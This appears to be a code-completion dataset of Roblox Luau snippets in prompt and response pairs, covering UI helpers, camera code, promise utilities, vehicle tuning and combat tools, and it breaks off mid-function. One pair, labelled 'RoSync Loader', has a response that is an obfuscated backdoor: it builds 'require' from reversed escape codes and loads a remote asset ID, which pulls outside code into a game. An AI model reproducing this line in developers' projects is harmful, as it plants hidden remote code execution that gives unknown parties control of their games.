prnt = game.Players.LocalPlayer.PlayerGui.TargetScreen
runservice = game:GetService("RunService")


Prompt: --[[ Local Functions ]]

Response:
--
local function createArrowLabel(name, parent, position, size, rectOffset, rectSize)
	local image = Instance.new('ImageLabel')
	image.Name = name
	image.Image = DPAD_SHEET
	image.ImageRectOffset = rectOffset
	image.ImageRectSize = rectSize
	image.BackgroundTransparency = 1
	image.ImageColor3 = Color3.new(190/255, 190/255, 190/255)
	image.Size = size
	image.Position = position
	image.Parent = parent

	return image
end


Prompt:
--[=[
	@within RemoteSignal
	@interface Connection
	.Disconnect () -> nil
]=]

Response:
function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?)
	local self = setmetatable({}, RemoteSignal)
	self._re = Instance.new("RemoteEvent")
	self._re.Name = name
	self._re.Parent = parent
	if outboundMiddleware and #outboundMiddleware > 0 then
		self._hasOutbound = true
		self._outbound = outboundMiddleware
	else
		self._hasOutbound = false
	end
	if inboundMiddleware and #inboundMiddleware > 0 then
		self._directConnect = false
		self._signal = Signal.new()
		self._re.OnServerEvent:Connect(function(player, ...)
			local args = table.pack(...)
			for _,middlewareFunc in ipairs(inboundMiddleware) do
				local middlewareResult = table.pack(middlewareFunc(player, args))
				if not middlewareResult[1] then
					return
				end
				args.n = #args
			end
			self._signal:Fire(player, table.unpack(args, 1, args.n))
		end)
	else
		self._directConnect = true
	end
	return self
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__Players__1 = game:GetService("Players");
local l__VRService__2 = game:GetService("VRService");
local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings");
local v4 = require(script.Parent:WaitForChild("CameraInput"));
local v5 = require(script.Parent:WaitForChild("CameraUtils"));
local v6 = require(script.Parent:WaitForChild("VRBaseCamera"));
local v7 = setmetatable({}, v6);
v7.__index = v7;
local v8, v9 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserFlagEnableVRUpdate3");
end);
function v7.new()
	local v10 = setmetatable(v6.new(), v7);
	v10.lastUpdate = tick();
	v10:Reset();
	return v10;
end;
function v7.Reset(p1)
	p1.needsReset = true;
	p1.needsBlackout = true;
	p1.motionDetTime = 0;
	p1.blackOutTimer = 0;
	p1.lastCameraResetPosition = nil;
	p1.stepRotateTimeout = 0;
	p1.cameraOffsetRotation = 0;
	p1.cameraOffsetRotationDiscrete = 0;
end;
function v7.Update(p2, p3)
	local l__CurrentCamera__11 = workspace.CurrentCamera;
	local v12 = l__CurrentCamera__11.CFrame;
	local v13 = l__CurrentCamera__11.Focus;
	local l__LocalPlayer__14 = l__Players__1.LocalPlayer;
	local v15 = p2:GetHumanoid();
	local l__CameraSubject__16 = l__CurrentCamera__11.CameraSubject;
	if p2.lastUpdate == nil or p3 > 1 then
		p2.lastCameraTransform = nil;
	end;
	p2:StepZoom();
	p2:UpdateFadeFromBlack(p3);
	p2:UpdateEdgeBlur(l__LocalPlayer__14, p3);
	local l__lastSubjectPosition__17 = p2.lastSubjectPosition;
	local v18 = p2:GetSubjectPosition();
	if p2.needsBlackout then
		p2:StartFadeFromBlack();
		p2.blackOutTimer = p2.blackOutTimer + math.clamp(p3, 0.0001, 0.1);
		if p2.blackOutTimer > 0.1 and game:IsLoaded() then
			p2.needsBlackout = false;
			p2.needsReset = true;
		end;
	end;
	if v18 and l__LocalPlayer__14 and l__CurrentCamera__11 then
		local v19 = nil;
		v19 = p2:GetVRFocus(v18, p3);
		if p2:IsInFirstPerson() then
			local v20, v21 = p2:UpdateFirstPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18);
			v12 = v20;
			v13 = v21;
		else
			local v22, v23 = p2:UpdateThirdPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18);
			v12 = v22;
			v13 = v23;
		end;
		p2.lastCameraTransform = v12;
		p2.lastCameraFocus = v13;
	end;
	p2.lastUpdate = tick();
	return v12, v13;
end;
local u1 = v8 or v9;
function v7.UpdateFirstPersonTransform(p4, p5, p6, p7, p8, p9)
	if p4.needsReset then
		p4:StartFadeFromBlack();
		p4.needsReset = false;
		p4.stepRotateTimeout = 0.25;
		p4.VRCameraFocusFrozen = true;
		p4.cameraOffsetRotation = 0;
		p4.cameraOffsetRotationDiscrete = 0;
	end;
	if (p8 - p9).magnitude > 0.01 then
		p4:StartVREdgeBlur(l__Players__1.LocalPlayer);
	end;
	local l__p__24 = p7.p;
	local v25 = p4:GetCameraLookVector();
	if p4.stepRotateTimeout > 0 then
		p4.stepRotateTimeout = p4.stepRotateTimeout - p5;
	end;
	local v26 = v4.getRotation();
	local v27 = 0;
	if u1 and l__UserGameSettings__3.VRSmoothRotationEnabled then
		v27 = v26.X;
	elseif p4.stepRotateTimeout <= 0 and math.abs(v26.X) > 0.03 then
		v27 = 0.5;
		if v26.X < 0 then
			v27 = -0.5;
		end;
		p4.needsReset = true;
	end;
	p6 = CFrame.new(l__p__24 - 0.5 * p4:CalculateNewLookVectorFromArg(Vector3.new(v25.X, 0, v25.Z).Unit, Vector2.new(v27, 0)), l__p__24);
	return p6, p7;
end;
function v7.UpdateThirdPersonTransform(p10, p11, p12, p13, p14, p15)
	local v28 = p10:GetCameraToSubjectDistance();
	if v28 < 0.5 then
		v28 = 0.5;
	end;
	if p14 ~= nil and p10.lastCameraFocus ~= nil then
		local v29 = require(l__Players__1.LocalPlayer:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector();
		local v30 = true;
		if not ((p14 - p15).magnitude > 0.01) then
			v30 = v29.magnitude > 0.01;
		end;
		if v30 then
			p10.motionDetTime = 0.1;
		end;
		p10.motionDetTime = p10.motionDetTime - p11;
		if p10.motionDetTime > 0 then
			v30 = true;
		end;
		if v30 and not p10.needsReset then
			p13 = p10.lastCameraFocus;
			p10.VRCameraFocusFrozen = true;
			return p12, p13;
		end;
		local v31 = true;
		if p10.lastCameraResetPosition ~= nil then
			v31 = (p15 - p10.lastCameraResetPosition).Magnitude > 1;
		end;
		local v32 = v4.getRotation();
		local v33 = u1 and v32 ~= Vector2.new();
		local v34 = false;
		if v33 and v32.X ~= 0 then
			local v35 = p10.cameraOffsetRotation + v32.X;
			if v35 < -math.pi then
				v35 = math.pi - (v35 + math.pi);
			elseif math.pi < v35 then
				v35 = -math.pi + (v35 - math.pi);
			end;
			p10.cameraOffsetRotation = math.clamp(v35, -math.pi, math.pi);
			if l__UserGameSettings__3.VRSmoothRotationEnabled then
				p10.cameraOffsetRotationDiscrete = p10.cameraOffsetRotation;
				local v36 = p10:GetHumanoid();
				local v37 = v36.Torso and v36.Torso.CFrame.lookVector or Vector3.new(1, 0, 0);
				local v38 = p13.Position - Vector3.new(v37.X, 0, v37.Z) * v28;
				local v39 = Vector3.new(p13.Position.X, v38.Y, p13.Position.Z);
				p12 = CFrame.new(v39 - (CFrame.new(v38, v39) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v39 - v38).Magnitude, v39);
			else
				local v40 = math.floor(p10.cameraOffsetRotation * 12 / 12);
				if v40 ~= p10.cameraOffsetRotationDiscrete then
					p10.cameraOffsetRotationDiscrete = v40;
					v34 = true;
				end;
			end;
		end;
		if not (not p10.VRCameraFocusFrozen) and not (not v31) or not (not p10.needsReset) or v34 then
			if not v34 then
				p10.cameraOffsetRotationDiscrete = 0;
				p10.cameraOffsetRotation = 0;
			end;
			l__VRService__2:RecenterUserHeadCFrame();
			p10.VRCameraFocusFrozen = false;
			p10.needsReset = false;
			p10.lastCameraResetPosition = p15;
			p10:ResetZoom();
			p10:StartFadeFromBlack();
			local v41 = p10:GetHumanoid();
			local v42 = v41.Torso and v41.Torso.CFrame.lookVector or Vector3.new(1, 0, 0);
			local v43 = p13.Position - Vector3.new(v42.X, 0, v42.Z) * v28;
			local v44 = Vector3.new(p13.Position.X, v43.Y, p13.Position.Z);
			if u1 and p10.cameraOffsetRotation ~= 0 then
				v43 = v44 - (CFrame.new(v43, v44) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v44 - v43).Magnitude;
			end;
			p12 = CFrame.new(v43, v44);
		end;
	end;
	return p12, p13;
end;
function v7.EnterFirstPerson(p16)
	p16.inFirstPerson = true;
	p16:UpdateMouseBehavior();
end;
function v7.LeaveFirstPerson(p17)
	p17.inFirstPerson = false;
	p17.needsReset = true;
	p17:UpdateMouseBehavior();
	if p17.VRBlur then
		p17.VRBlur.Visible = false;
	end;
end;
return v7;


Prompt: -- regeneration

Response:
while true do
	local s = wait(4)
	local health = Humanoid.Health
	if health > 0 and health < Humanoid.MaxHealth then
		health = health + 0.00 * s * Humanoid.MaxHealth
		if health * 1.05 < Humanoid.MaxHealth then
			Humanoid.Health = health
		else
			Humanoid.Health = Humanoid.MaxHealth
		end
	end
end


Prompt:
--[[**
		ensures value is an array of a strict makeup and size

		@param check The check to compare all values with

		@returns A function that will return true iff the condition is passed
	**--]]

Response:
	function t.strictArray(...)
		local valueTypes = { ... }
		assert(t.array(t.callback)(valueTypes))

		return function(value)
			local keySuccess = arrayKeysCheck(value)
			if keySuccess == false then
				return false
			end

			-- If there's more than the set array size, disallow
			if #valueTypes < #value then
				return false
			end

			for idx, typeFn in pairs(valueTypes) do
				local typeSuccess = typeFn(value[idx])
				if not typeSuccess then
					return false
				end
			end

			return true
		end
	end
end

do
	local callbackArray = t.array(t.callback)


Prompt: -- So we don't rehit the same target multiple times

Response:
local flaggedForHit = {}

for _, part in pairs(parts) do
	local character = PartUtility.GetCharacterFromInstance_R(part)
	if not character then continue end
	-- Don't rehit the same character multiple times
	if flaggedForHit[character] then continue end
	flaggedForHit[character] = true

	APICombat.ApplyDamageToCharacter(owningPlayer,character,WeaponDefinition)
end

Explosion.Parent = workspace

local effectPart = Instance.new("Part")
effectPart.Position = Explosion.Position
effectPart.Anchored = true
effectPart.Transparency = 1
effectPart.CanCollide = false
effectPart.Parent = workspace


Prompt: --local Sprinting =false

Response:
local L_145_ = L_121_.new(Vector3.new())
L_145_.s = 15
L_145_.d = 0.5

game:GetService("UserInputService").InputChanged:connect(function(L_272_arg1) --Get the mouse delta for the gun sway
	if L_272_arg1.UserInputType == Enum.UserInputType.MouseMovement then
		L_140_ = math.min(math.max(L_272_arg1.Delta.x, -L_142_), L_142_)
		L_141_ = math.min(math.max(L_272_arg1.Delta.y, -L_142_), L_142_)
	end
end)

L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
	L_140_ = 0
	L_141_ = 0
end)

local L_146_ = false
local L_147_ = CFrame.new()
local L_148_ = CFrame.new()

local L_149_
local L_150_
local L_151_
local L_152_

local L_153_
local L_154_
local L_155_

if not L_24_.TacticalModeEnabled then
	L_149_ = 0
	L_150_ = CFrame.new()
	L_151_ = 0.1
	L_152_ = 2

	L_153_ = 0
	L_154_ = .2
	L_155_ = 17
else
	L_149_ = 0
	L_150_ = CFrame.new()
	L_151_ = 0.05
	L_152_ = 2

	L_153_ = 0
	L_154_ = 0.09
	L_155_ = 11
end

local L_156_ = 0
local L_157_ = 5
local L_158_ = .3

local L_159_, L_160_ = 0, 0

local L_161_ = nil
local L_162_ = nil
local L_163_ = nil

L_3_.Humanoid.Running:connect(function(L_273_arg1)
	if L_273_arg1 > 1 then
		L_146_ = true
	else
		L_146_ = false
	end
end)


Prompt:
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]

Response:
type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]]
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Boolean = LuauPolyfill.Boolean
local Error = LuauPolyfill.Error
type Error = LuauPolyfill.Error
local exports = {}

export type ErrorWithStack = Error & {}
local ErrorWithStack = setmetatable({}, { __index = Error })
ErrorWithStack.__index = ErrorWithStack
function ErrorWithStack.new(
	message: string | nil,
	callsite: (...any) -> () | unknown,
	stackLimit: number?
): ErrorWithStack
	-- Ensure we have a large stack length so we get full details.
	local originalStackLimit = Error["stackTraceLimit"]
	if stackLimit ~= nil and stackLimit ~= 0 then
		Error["stackTraceLimit"] = math.max(
			stackLimit,
			Boolean.toJSBoolean(originalStackLimit) and originalStackLimit or 10
		)
	end

	local self = setmetatable(Error.new(message), ErrorWithStack)
	if Boolean.toJSBoolean(Error["captureStackTrace"]) then
		Error["captureStackTrace"](self, callsite)
	end
	Error["stackTraceLimit"] = originalStackLimit
	return (self :: any) :: ErrorWithStack
end
exports.default = ErrorWithStack
return exports


Prompt:
--[[
	Calls a callback on `finally` with specific arguments.
]]

Response:
function Promise.prototype:finallyCall(callback, ...)
	local length, values = pack(...)
	return self:finally(function()
		return callback(unpack(values, 1, length))
	end)
end


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 3.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: --[[ Roblox Services ]]

Response:
--
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")
local GuiService = game:GetService("GuiService")
local ContextActionService = game:GetService("ContextActionService")
local VRService = game:GetService("VRService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")


Prompt:
--[[
This file is necessary for constructing the default Icon template
Do not remove this module otherwise TopbarPlus will break
Modifying this file may also cause TopbarPlus to break
It's recommended instead to create a separate theme module and use that instead

To apply your theme after creating it, do:
```lua
local IconController = require(pathway.to.IconController)
local Themes = require(pathway.to.Themes)
IconController.setGameTheme(Themes.YourThemeName)
```

or by applying to an individual icon:
```lua
local Icon = require(pathway.to.Icon)
local Themes = require(pathway.to.Themes)
local newIcon = Icon.new()
    :setTheme(Themes.YourThemeName)
```
--]]

Response:
return {

    -- Settings which describe how an item behaves or transitions between states
    action =  {
        toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
    },

    -- Settings which describe how an item appears when 'deselected' and 'selected'
    toggleable = {
        -- How items appear normally (i.e. when they're 'deselected')
        deselected = {
            iconBackgroundColor = Color3.fromRGB(0, 0, 0),
            iconBackgroundTransparency = 0.5,
            iconCornerRadius = UDim.new(0.25, 0),
            iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)),
            iconGradientRotation = 0,
            iconImage = "",
            iconImageColor =Color3.fromRGB(255, 255, 255),
            iconImageTransparency = 0,
            iconImageYScale = 0.63,
            iconImageRatio = 1,
            iconLabelYScale = 0.45,
            iconScale = UDim2.new(1, 0, 1, 0),
            forcedIconSize = UDim2.new(0, 32, 0, 32);
            iconSize = UDim2.new(0, 32, 0, 32),
            iconOffset = UDim2.new(0, 0, 0, 0),
            iconText = "",
            iconTextColor = Color3.fromRGB(255, 255, 255),
            iconFont = Enum.Font.GothamSemibold,
            noticeCircleColor = Color3.fromRGB(255, 255, 255),
            noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969",
            noticeTextColor = Color3.fromRGB(31, 33, 35),
            baseZIndex = 1,
            order = 1,
            alignment = "left",
            clickSoundId = "rbxassetid://5273899897",
            clickVolume = 0,
            clickPlaybackSpeed = 1,
            clickTimePosition = 0.12
        },
        -- How items appear after the icon has been clicked (i.e. when they're 'selected')
        -- If a selected value is not specified, it will default to the deselected value
        selected = {
            iconBackgroundColor = Color3.fromRGB(245, 245, 245),
            iconBackgroundTransparency = 0.1,
            iconImageColor = Color3.fromRGB(57, 60, 65),
            iconTextColor = Color3.fromRGB(57, 60, 65),
            clickPlaybackSpeed = 1.5,
        }
    },

    -- Settings where toggleState doesn't matter (they have a singular state)
    other = {
        -- Caption settings
        captionBackgroundColor = Color3.fromRGB(0, 0, 0),
        captionBackgroundTransparency = 0.5,
        captionTextColor = Color3.fromRGB(255, 255, 255),
        captionTextTransparency = 0,
        captionFont = Enum.Font.GothamSemibold,
        captionOverlineColor = Color3.fromRGB(0, 170, 255),
        captionOverlineTransparency = 0,
        captionCornerRadius = UDim.new(0.25, 0),
        -- Tip settings
        tipBackgroundColor = Color3.fromRGB(255, 255, 255),
        tipBackgroundTransparency = 0.1,
        tipTextColor = Color3.fromRGB(27, 42, 53),
        tipTextTransparency = 0,
        tipFont = Enum.Font.GothamSemibold,
        tipCornerRadius = UDim.new(0.175, 0),
        -- Dropdown settings
        dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)
        dropdownMaxIconsBeforeScroll = 3,
        dropdownMinWidth = 32,
        dropdownSquareCorners = false,
        dropdownBindToggleToIcon = true,
        dropdownToggleOnLongPress = false,
        dropdownToggleOnRightClick = false,
        dropdownCloseOnTapAway = false,
        dropdownHidePlayerlistOnOverlap = true,
        dropdownListPadding = UDim.new(0, 2),
        dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),
        dropdownScrollBarTransparency = 0.2,
        dropdownScrollBarThickness = 4,
        -- Menu settings
        menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')
        menuMaxIconsBeforeScroll = 4,
        menuBindToggleToIcon = true,
        menuToggleOnLongPress = false,
        menuToggleOnRightClick = false,
        menuCloseOnTapAway = false,
        menuScrollBarColor = Color3.fromRGB(25, 25, 25),
        menuScrollBarTransparency = 0.2,
        menuScrollBarThickness = 4,
    },

}


Prompt:
--- Returns a function that is a fuzzy finder for the specified set or container.
-- Can pass an array of strings, array of instances, array of EnumItems,
-- array of dictionaries with a Name key or an instance (in which case its children will be used)
-- Exact matches will be inserted in the front of the resulting array

Response:
function Util.MakeFuzzyFinder(setOrContainer)
	local names
	local instances = {}

	if typeof(setOrContainer) == "Enum" then
		setOrContainer = setOrContainer:GetEnumItems()
	end

	if typeof(setOrContainer) == "Instance" then
		names, instances = transformInstanceSet(setOrContainer:GetChildren())
	elseif typeof(setOrContainer) == "table" then
		if
			typeof(setOrContainer[1]) == "Instance" or typeof(setOrContainer[1]) == "EnumItem" or
				(typeof(setOrContainer[1]) == "table" and typeof(setOrContainer[1].Name) == "string")
		 then
			names, instances = transformInstanceSet(setOrContainer)
		elseif type(setOrContainer[1]) == "string" then
			names = setOrContainer
		elseif setOrContainer[1] ~= nil then
			error("MakeFuzzyFinder only accepts tables of instances or strings.")
		else
			names = {}
		end
	else
		error("MakeFuzzyFinder only accepts a table, Enum, or Instance.")
	end

	-- Searches the set (checking exact matches first)
	return function(text, returnFirst)
		local results = {}

		for i, name in pairs(names) do
			local value = instances and instances[i] or name

			-- Continue on checking for non-exact matches...
			-- Still need to loop through everything, even on returnFirst, because possibility of an exact match.
			if name:lower() == text:lower() then
				if returnFirst then
					return value
				else
					table.insert(results, 1, value)
				end
			elseif name:lower():sub(1, #text) == text:lower() then
				results[#results + 1] = value
			end
		end

		if returnFirst then
			return results[1]
		end

		return results
	end
end


Prompt:
--Made by Repressed_Memories
-- Edited by Truenus

Response:
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off =  BrickColor.New("Neon orange")
local on = BrickColor.New("Deep orange")
mouse.KeyDown:connect(function(lkey)
	local key = string.lower(lkey)
	if key == leftsignal then
		if lefton == false then
			lefton = true
			repeat
				neonleft.BrickColor = on
				leftfront.BrickColor = on
				leftlight.Enabled = true
				neonleft.Material = "Neon"
				leftfront.Material = "Neon"
				component.TurnSignal:play()
				wait(signalblinktime)
				neonleft.BrickColor = off
				leftfront.BrickColor = off
				component.TurnSignal:play()
				neonleft.Material = "SmoothPlastic"
				leftfront.Material = "SmoothPlastic"
				leftlight.Enabled = false
				wait(signalblinktime)
			until
			lefton == false or righton == true
		elseif lefton == true or righton == true then
			lefton = false
			component.TurnSignal:stop()
			leftlight.Enabled = false
		end
	elseif key == rightsignal then
		if righton == false then
			righton = true
			repeat
				neonright.BrickColor = on
				rightfront.BrickColor = on
				rightlight.Enabled = true
				neonright.Material = "Neon"
				rightfront.Material = "Neon"
				component.TurnSignal:play()
				wait(signalblinktime)
				neonright.BrickColor = off
				rightfront.BrickColor = off
				component.TurnSignal:play()
				neonright.Material = "SmoothPlastic"
				rightfront.Material = "SmoothPlastic"
				rightlight.Enabled = false
				wait(signalblinktime)
			until
			righton == false or lefton == true
		elseif righton == true or lefton == true then
			righton = false
			component.TurnSignal:stop()
			rightlight.Enabled = false
		end
	elseif key == hazards then
		if hazardson == false then
			hazardson = true
			repeat
				neonright.BrickColor = on
				rightfront.BrickColor = on
				neonleft.BrickColor = on
				leftfront.BrickColor = on
				neonright.Material = "Neon"
				rightfront.Material = "Neon"
				neonleft.Material = "Neon"
				leftfront.Material = "Neon"
				component.TurnSignal:play()
				rightlight.Enabled = true
				leftlight.Enabled = true
				wait(signalblinktime)
				neonright.BrickColor = off
				rightfront.BrickColor = off
				neonleft.BrickColor = off
				leftfront.BrickColor = off
				component.TurnSignal:play()
				neonright.Material = "SmoothPlastic"
				rightfront.Material = "SmoothPlastic"
				neonleft.Material = "SmoothPlastic"
				leftfront.Material = "SmoothPlastic"
				rightlight.Enabled = false
				leftlight.Enabled = false
				wait(signalblinktime)
			until
			hazardson == false
		elseif hazardson == true then
			hazardson = false
			component.TurnSignal:stop()
			rightlight.Enabled = false
			leftlight.Enabled = false
		end
	end
end)


Prompt: -- If no expire time was provided, this message is displayed.

Response: local MESSAGE_BAN_NO_EXPIRE = "You are permanently banned."


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50	-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt: --[[ Last synced 10/14/2020 09:09 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: -- Adds particles to the WeaponsSystem based off player creations (or uses a default if not present)

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local blaster = ServerStorage:WaitForChild("Weapons"):WaitForChild("Blaster")
local WeaponSystem = blaster:WaitForChild("WeaponsSystem")
local RocketAsset = WeaponSystem.Assets.Effects.Shots.Rocket


Prompt:
--[[
	Retries a Promise-returning callback N times until it succeeds.
]]

Response:
function Promise.retry(callback, times, ...)
	assert(type(callback) == "function", "Parameter #1 to Promise.retry must be a function")
	assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number")

	local args, length = {...}, select("#", ...)

	return Promise.resolve(callback(...)):catch(function(...)
		if times > 0 then
			return Promise.retry(callback, times - 1, unpack(args, 1, length))
		else
			return Promise.reject(...)
		end
	end)
end
Promise.prototype.Retry = Promise.prototype.retry


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Magic broke ground" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt:
--[=[
	@tag Component Class
	@function HeartbeatUpdate
	@param dt number
	@within Component

	If this method is present on a component, then it will be
	automatically connected to `RunService.Heartbeat`.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})

	function MyComponent:HeartbeatUpdate(dt)
	end
	```
]=]
--[=[
	@tag Component Class
	@function SteppedUpdate
	@param dt number
	@within Component

	If this method is present on a component, then it will be
	automatically connected to `RunService.Stepped`.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})

	function MyComponent:SteppedUpdate(dt)
	end
	```
]=]
--[=[
	@tag Component Class
	@function RenderSteppedUpdate
	@param dt number
	@within Component
	@client

	If this method is present on a component, then it will be
	automatically connected to `RunService.RenderStepped`. If
	the `[Component].RenderPriority` field is found, then the
	component will instead use `RunService:BindToRenderStep()`
	to bind the function.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::

	```lua
	-- Example that uses `RunService.RenderStepped` automatically:

	local MyComponent = Component.new({Tag = "MyComponent"})

	function MyComponent:RenderSteppedUpdate(dt)
	end
	```
	```lua
	-- Example that uses `RunService:BindToRenderStep` automatically:

	local MyComponent = Component.new({Tag = "MyComponent"})

	-- Defining a RenderPriority will force the component to use BindToRenderStep instead
	MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value

	function MyComponent:RenderSteppedUpdate(dt)
	end
	```
]=]

Response:
function Component:Destroy()
	self[KEY_TROVE]:Destroy()
end

return Component


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 5

local slash_damage = 10
local lunge_damage = 20

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				wait(1)
				untagHumanoid(humanoid)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	force = Instance.new("BodyVelocity")
